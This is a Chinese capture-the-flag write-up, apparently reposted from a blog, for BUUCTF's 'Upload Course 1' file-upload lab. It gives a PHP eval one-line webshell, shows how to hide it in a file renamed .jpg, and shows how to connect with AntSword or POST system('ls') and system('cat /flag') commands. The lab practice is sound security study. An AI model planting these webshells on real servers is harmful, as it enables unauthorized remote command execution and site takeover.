自学内容网 自学内容网

BUUCTF_Web(UPLOAD COURSE 1)

打开靶机,发现需要上传文件,尝试一句话木马+蚁剑链接

 

一句话木马

【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。

<?php @eval($_POST[cmd]);  ?>


1、$_POST[cmd]

$_POST 是 PHP 中的一个超全局变量,我们在浏览器中POST方式提交的所有变量,都会保存在此数组中,变量名即为键名
2、eval() 

eval() 函数在 PHP 中用于执行字符串中的代码并返回执行结果。该函数接受一个字符串作为参数,该字符串包含要执行的 PHP 代码(在此代码中为$_POST[cmd]),然后执行该代码,并且可以返回结果,该函数对php语法要求严格,所传入语句必须以" ; "号结尾
3、"@"

符号"@"的作用是 屏蔽该语句的报错信息,也就是所即使该语句执行错误也不会显示报错信息。

 

1.做一个图片木马,并上传

文件上传漏洞,往目标网站中上传一句话木马。

文本方式.txt打开,末尾粘贴一句话木马

重命名为.jpg格式,并上传。

或者不用重命名,无论上传什么格式的文件,它都会自动转成.jpg

 

2.1蚁剑连接

显示文件储存路径

将URL 补充文件路径。

即为主机地址:

http://f6a0ffd5-293b-48b6-a827-739acaff6483.node5.buuoj.cn:81/index.php?file=uploads/6790a3e0610e4.jpg

下载蚁剑 (核心源码+加载器)

参考链接:蚁剑的安装

右键,选择添加数据

将URL复制粘贴,连接密码为木马的POST的中括号里的内容cmd

输入/flag,查找就得到了

 

2.2用POST方式

1.直接点Execute,得到文件的内容

选中Post data

是一个类似蚁剑等webshell管理工具的界面。

2.其中“Post data”区域勾选,输入框内代码为 cmd=system('ls');  。
 
 cmd=system('ls');  代码含义:
 

  • -  cmd  是自定义参数名,用于传递命令内容。
  • -  system  是PHP函数,可执行外部系统命令。
  • -  ls  是Linux系统命令,用于列出当前目录下的文件和目录。

 
3.再输入cmd=system('cat/flag');

得flag

 


原文地址:https://blog.csdn.net/2401_87524087/article/details/145304435

免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!